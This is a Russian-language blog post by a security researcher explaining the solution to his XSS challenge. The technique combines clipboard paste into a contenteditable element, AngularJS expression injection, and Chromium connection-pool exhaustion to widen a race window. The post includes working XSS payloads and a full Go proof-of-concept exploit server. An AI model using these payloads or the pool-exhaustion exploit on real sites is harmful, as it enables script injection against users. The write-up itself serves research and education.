November 1, 2023

Состояние гонки на основе DOM: гонки в браузере ради удовольствия

Отказ от ответственности

Со всеми проектами, упомянутыми в этом сообщении блога, связались, и я подтвердил, что поведение, описанное в этой статье, либо работает так, как задумано, либо уже исправлено, либо не будет исправлено.

ТЛ;ДР

Браузер загружает элементы HTML сверху вниз, а некоторые библиотеки JavaScript извлекают данные или атрибуты из DOM после полной загрузки страницы.
Из-за того, как contenteditableработает атрибут, у нас может возникнуть состояние гонки в приложениях, которые используют эти библиотеки JavaScript с элементом contenteditable, в зависимости от того, как страница загружает библиотеку.
В этой статье я объясню, как это возможно и как увеличить временное окно этой гонки.

Соревнование

6 октября я опубликовал следующий вызов XSS.

Я устроил небольшой XSS-челлендж!

Можете ли вы разместить оповещение на этой странице? (Предполагаемое решение должно быть сложным!)

Правила включены на страницу задания: https://t.co/e4CZByywdT pic.twitter.com/Xfdbij0iPC– РётаК (@ryotkak) 6 октября 2023 г.

Предполагаемое решение этой задачи выглядит следующим образом.

XSS на основе буфера обмена (также известный как «Копировать и вставить XSS»)

Чтобы объяснить предполагаемое решение, я должен объяснить XSS на основе буфера обмена.
В 2020 году Михал Бентковски опубликовал отличное исследование XSS, используемого в буфере обмена.
Это исследование сосредоточено на использовании атрибута contenteditableи pasteобработчиков событий.

По сути, следующий фрагмент уязвим для XSS на основе буфера обмена:

<input placeholder="Paste here" id="pasted"/>
<script>
document.addEventListener('paste', event => {
    const data = event.clipboardData.getData('text/html');
    pasted.innerHTML = data;
});
</script>

Его можно использовать на следующей странице:

<button onclick="copy()">Click</button>
<script>
    document.addEventListener('copy', event => {
        event.preventDefault();
        event.clipboardData.setData('text/html', '<img src onerror=alert(1)>');
        alert('Please paste the copied contents into the vulnerable page');
    });
    function copy() {
        document.execCommand('copy');
    }
</script>

Он также сообщил, что следующая страница может быть уязвима для XSS на основе буфера обмена, используя уязвимость в дезинфицирующем средстве браузера:

<div contenteditable></div>

Это стало возможным, потому что:

  1. Браузер позволяет text/htmlвставлять HTML-код вместо обычного текста. 1
  2. Чтобы предотвратить XSS, браузер очистил содержимое данных text/html.
  3. Однако в этом дезинфицирующем средстве были недостатки, позволяющие обойти его и добиться XSS или различных воздействий.

На момент написания этой статьи не было известных способов обойти это дезинфицирующее средство, и использование contenteditableодного элемента не приведет к возникновению XSS.

Однако при очистке вставленного содержимого Chromium использует подход списка запретов для предотвращения XSS вместо подхода списка разрешений, что означает, что любые атрибуты, которые не вызывают XSS, разрешены, включая пользовательские атрибуты, поддерживаемые библиотекой. 2

third_party/blink/renderer/core/dom/element.ccлиния 2545-2550

bool Element::IsScriptingAttribute(const Attribute& attribute) const {
  return IsEventHandlerAttribute(attribute) ||
         IsJavaScriptURLAttribute(attribute) ||
         IsHTMLContentAttribute(attribute) ||
         IsSVGAnimationAttributeSettingJavaScriptURL(attribute);
}

Такое поведение можно использовать для использования библиотек, которые предполагают, что содержимое DOM является надежным.
Например, такие проекты, какrails-ujs или Kanboard, можно использовать, вставив data-*атрибуты в contenteditableэлемент. ( CVE-2023-23913 , CVE-2023-32685 )

of-* атрибутов

Давайте вернемся к задаче.
На этом этапе вы, возможно, заметили, что AngularJS использует ng-*атрибуты для управления своим поведением.

Например, при открытии будет выполнен следующий фрагмент alert(1). 3

<html ng-app>
  <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.8.3/angular.min.js"></script>
  <div ng-init="constructor.constructor('alert(1)')()"></div>
</html>

Итак, вы можете подумать, что, вставив ng-*атрибуты на страницу задания, мы сможем выдать предупреждение.
Но это не относится к AngularJS.

Цель прослушивателей событий

Чтобы разница была очевидна, я объясню уязвимость в рельсах-ujs ( CVE-2023-23913 ). Эта уязвимость также зависит от существования элемента contenteditableи может быть использована путем обмана, вставив жертву вредоносные данные в contenteditableэлемент.

В Rails-ujs они использовали document.addEventListener("click"...для обработки кликов вместо добавления прослушивателей событий к каждому элементу при загрузке страницы.

actionview/app/javascript/rails-ujs/utils/event.jsстрока 71-80

const delegate = (element, selector, eventType, handler) => element.addEventListener(eventType, function(e) {
  [...]
})

actionview/app/javascript/rails-ujs/index.jsстрока 106-107

  delegate(document, linkClickSelector, "click", handleRemote)
  delegate(document, linkClickSelector, "click", handleMethod)

Используя document.addEventListener, этот прослушиватель событий может получать события от любых элементов на странице, включая тот, который добавляется после загрузки рельсов-ujs.

Таким образом, CVE-2023-23913 можно использовать, просто обманом заставив жертву вставить вредоносные данные в contenteditableэлемент после загрузки страницы.

Однако AngularJS добавляет прослушиватель событий к каждому элементу с ng-*атрибутами после DOMContentLoadedзапуска события.

src/ng/directive/ngEventDirs.jsстрока 59-89

function createEventDirective($parse, $rootScope, $exceptionHandler, directiveName, eventName, forceAsync) {
  return {
    restrict: 'A',
    compile: function($element, attr) {
      [...]
      var fn = $parse(attr[directiveName]);
      return function ngEventHandler(scope, element) {
        element.on(eventName, function(event) {
          [...]
        });
      };
    }
  };
}
  on: function jqLiteOn(element, type, fn, unsupported) {
    [...]
    var addHandler = function(type, specialHandlerWrapper, noEventListener) {
      var eventFns = events[type];

      if (!eventFns) {
        eventFns = events[type] = [];
        eventFns.specialHandlerWrapper = specialHandlerWrapper;
        if (type !== '$destroy' && !noEventListener) {
          element.addEventListener(type, handle);
        }
      }

      eventFns.push(fn);
    };
    [...]
  },

Это означает, что простая вставка следующих полезных данных на страницу задания не сработает.

<div ng-app><div ng-click="constructor.constructor('alert(1)')()">Click me</div></div>

Порядок загрузки HTML

Прежде чем идти дальше, я должен объяснить, как браузер загружает HTML-документ.

Браузер обычно загружает HTML-документ сверху вниз. 4
Например:

<html>
  <div id="test"></div>
  <script>
    document.getElementById("test").innerHTML = "<h1>Hello world!</h1>";
  </script>
</html>

Предполагая, что приведенный выше HTML-код передается браузеру, браузер <div>сначала загружается, а затем позже оценивает JavaScript в <script>теге.

Итак, если мы поменяем порядок <div>и <script>, произойдет следующая ошибка:

Uncaught TypeError: Cannot set properties of null (setting 'innerHTML')
    at [first line of the JavaScript]

Это связано с порядком загрузки; когда <script>тег загружен и оценивается JavaScript, элемент <div id="test">еще не загружен.
Итак, document.getElementById("test")возвращается null, и доступ к innerHTMLсвойству невозможен.

Гонки с AngularJS

Возвращаясь к задаче, у нас есть следующий HTML:

<div contenteditable>
  <h1>Solvers:</h1>
  [...]
</div>
<script src="https://angular-no-http3.ryotak.net/angular.min.js"></script>

Поскольку AngularJS оценивает ng-*атрибуты и другие выражения после загрузки, мы должны вставить элемент с полезной нагрузкой XSS до загрузки AngularJS.

Поскольку тег сценария размещается под contenteditableэлементом, AngularJS загружается после contenteditableвизуализации элемента. Таким образом, после рендеринга элемента, но до полной загрузки AngularJS,
происходит задержка примерно 30 мс .contenteditable

Это окно гонки слишком маленькое, чтобы его можно было использовать, но нам нужно обманом заставить жертву вставить данные в пределах этого временного окна.

Предполагаемое решение

30 мс достаточно при использовании состояния гонки, когда злоумышленник может неоднократно пытаться использовать эксплойт. Тем не менее, на этот раз нам нужно обманом заставить жертву вставить вредоносные данные в contenteditableэлемент.
Поскольку трудно обманом заставить жертву вставить содержимое в пределах этого временного окна, нам нужно продлить его для гонки.

После предыдущего Parse HTMLраздела графика браузер должен получить AngularJS с удаленного хоста, если он еще не кэширован.

К счастью, существует способ задержки запросов за счет исчерпания пула соединений.
В XS-Leaks Wiki есть хорошее объяснение этой техники , поэтому я объясню ее краткое изложение здесь.

В Chromium существуют жесткие ограничения на количество одновременных подключений.
Для TCP оно ограничено 256 подключениями, как показано во фрагменте ниже. 5

net/socket/client_socket_pool_manager.ccстроки 32-36

// Limit of sockets of each socket pool.
int g_max_sockets_per_pool[] = {
  256,  // NORMAL_SOCKET_POOL
  256   // WEBSOCKET_SOCKET_POOL
};

Поскольку пул соединений является общим для всех хостов, если мы откроем 256 соединений, которые не будут отключены (например, не отправив ответ), дальнейшие запросы не могут быть установлены, и браузер будет ждать, пока одно из этих соединений не будет закрыто. .

Это полезно, чтобы приостановить загрузку AngularJS и продлить окно времени гонки, но нам все равно нужно открыть соединение с хостом страницы испытания. В противном случае страница задания не загрузится и contenteditableэлемент не будет отображен.
Чтобы справиться с этим, мы можем отменить одно соединение после исчерпания пула соединений и открытия страницы вызова, а затем быстро открыть другое соединение.

При этом пул соединений работает следующим образом:

  1. После исчерпания пула соединений дальнейшие соединения установить невозможно. Таким образом, страница испытания не будет загружаться.
  2. Через несколько секунд после открытия страницы вызова мы отменяем одно соединение (①) и быстро открываем другое соединение (③). На этом этапе соединение со страницей вызова установлено (②), но браузеру все равно необходимо получить и проанализировать HTML.
  3. После того как страница вызова получена и проанализирована, браузер ставит в очередь соединение с хостом файла AngularJS (②) и завершает соединение со страницей вызова. (①)
  4. Поскольку на предыдущем шаге мы поставили в очередь другое соединение, пул соединений снова исчерпан, и файл AngularJS не будет получен.
  5. На этом этапе contenteditableэлемент уже отрисован, поэтому жертва может вставить вредоносные данные, не торопясь.
  6. Через несколько секунд отменим соединение, открытое на шаге 2 (①). При этом браузер может открыть соединение с хостом файла AngularJS (②) и оценить его содержимое. Поскольку жертва вставила вредоносные данные в contenteditableэлемент до загрузки AngularJS, он оценит вставленные выражения и alert(document.domain)выполнится.

Собрав все это вместе, эту проблему можно решить, используя следующий код: 6

package main

import (
        "fmt"
        "log"
        "net/http"
        "strconv"
        "time"
)

const(
  SERVER_IP = ""
)

func attack(w http.ResponseWriter, r *http.Request) {
        w.Header().Set("Content-Type", "text/html")
        fmt.Fprintf(w, `
<script>
async function fill_sockets(amount) {
        return new Promise((resolve, reject) => {
                let count = 0;
                const intervalId = setInterval(() => {
                        if(count >= amount) {
                                clearInterval(intervalId);
                                resolve();
                                return;
                        }
                        fetch('http://%s:' + (28000 + count) + '/sleep', {mode: "no-cors", cache: "no-store"});
                        count++;
                }, 5);
        });
}

async function swap_connections(func, delay) {
        let timer = new AbortController();
        setTimeout(() => {
                timer.abort();
                timer = new AbortController();
                setTimeout(() => timer.abort(), delay*1000);
                fetch('http://%[1]s:28255/sleep', {mode: "no-cors", cache: "no-store", signal: timer.signal});
        }, 1000);
        fetch('http://%[1]s:28255/sleep', {mode: "no-cors", cache: "no-store", signal: timer.signal});
        func();
}

async function attack() {
        document.execCommand("copy");
        document.write("Filling the connection pool...<br>");
        await fill_sockets(255);
        document.write("Opening the victim page...<br>");
        swap_connections(() => {
                window.open('https://ryotak-challenges.github.io/xss-chall-1/', '_blank');
        }, 10);
}

document.addEventListener('copy', (e) => {
        e.preventDefault();
        e.clipboardData.setData('text/html', '<br><div data-ng-app>{{constructor.constructor("alert(document.domain)")();}}</div>');
        document.write("Copied the payload<br>");
});
</script>
<button onclick=attack()>Attack</button>`, SERVER_IP)
}

func sleep(w http.ResponseWriter, r *http.Request) {
        time.Sleep(24 * time.Hour * 365)
}

func handleRequests() {
        http.HandleFunc("/", attack)
        http.HandleFunc("/sleep", sleep)

        for i := 1; i <= 256; i++ {
                go http.ListenAndServe(":"+strconv.Itoa(28000+i), nil)
        }
        log.Fatal(http.ListenAndServe(":28000", nil))
}

func main() {
        handleRequests()
}

Этот метод не ограничивается AngularJS; вместо этого его можно применить к любой библиотеке JavaScript со следующими условиями:

  1. Библиотека извлекает данные из DOM после загрузки страницы.
  2. Библиотека не игнорирует элементы внутри contenteditableэлемента.
  3. Пользователь библиотеки использует элемент contenteditableи затем загружает библиотеку.

Также важно отметить, что некоторые поставщики считают, что разработчики, использующие библиотеки, обязаны не использовать библиотеки с элементом contenteditable.

Приложение: Непредвиденные решения

Выпуская испытание, я думал, что невозможно использовать это крошечное окно гонки, не расширив его с помощью описанной выше техники, или, по крайней мере, невозможно использовать его вручную. Тем не менее, воспользоваться этим можно, если очень постараться.

@LiveOverflow и @stueotue нашли способ использовать это крошечное окно гонки:

@LiveOverflow прислал решение, которое повторяет вставку, иногда выигрывая в этой гонке.

А @stueotue прислал решение, использующее перетаскивание, вдохновленное рецензией Renwa . Иногда он также выигрывает гонку, если время подобрано.

Оба решения превосходны, и я действительно впечатлен их креативностью.
Этот вызов был первым вызовом XSS, который я разместил в своем аккаунте, поэтому для меня это был хороший урок: не стоит недооценивать креативность сообщества ;)


  1. Вставленные данные вставляются в DOM, в отличие от значения в свойстве, valueтаком как <input>тег. Например, вставка <a href="https://example.com">Test</a>в contenteditableэлемент as text/htmlсоздаст <a>тег с https://example.comатрибутом href. ↩︎
  2. Интересно, что Firefox, похоже, использует подход с использованием списка разрешенных при очистке содержимого. Я думаю, что может быть способ обойти дезинфицирующее средство Chromium. ↩︎
  3. Если вы хотите узнать, почему constructor.constructor('alert(1)')()используется вместо обычного alert(1), прочтите эту статью: https://portswigger.net/research/dom-based-angularjs-sandbox-escapes ↩︎
  4. Есть некоторые исключения, например deferатрибут тега <script>, но я не буду объяснять их в этой статье. ↩︎
  5. Согласно XS-Leaks Wiki, UDP ограничен 6000 соединениями, поэтому, если HTTP/3 включен, вам может потребоваться открыть гораздо больше соединений, чтобы исчерпать пул соединений. ↩︎
  6. Чтобы предотвратить повторное использование соединения HTTP/2 , этот PoC использует 256 различных портов вместо отправки запросов на один и тот же порт. (Этот код немного грязный, но он работает!… по крайней мере, на моей машине.) ↩︎